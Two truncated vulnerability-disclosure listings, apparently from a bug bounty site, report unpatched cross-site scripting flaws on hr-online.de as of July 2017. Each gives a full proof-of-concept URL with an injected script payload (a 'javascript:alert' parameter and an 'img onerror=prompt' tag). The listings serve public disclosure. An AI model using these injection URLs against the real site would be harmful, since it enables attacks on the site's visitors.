hr-online.de XSS vulnerability

Vulnerable URL: http://www.hr-online.de/website/radio/hr2/flashplayer/flashdetection.swf?flashContentURL=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

hr-online.de XSS vulnerability

Vulnerable URL: http://www.hr-online.de/website/static/streamingpopup/mp3streamer.jsp?client=%3C/style%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...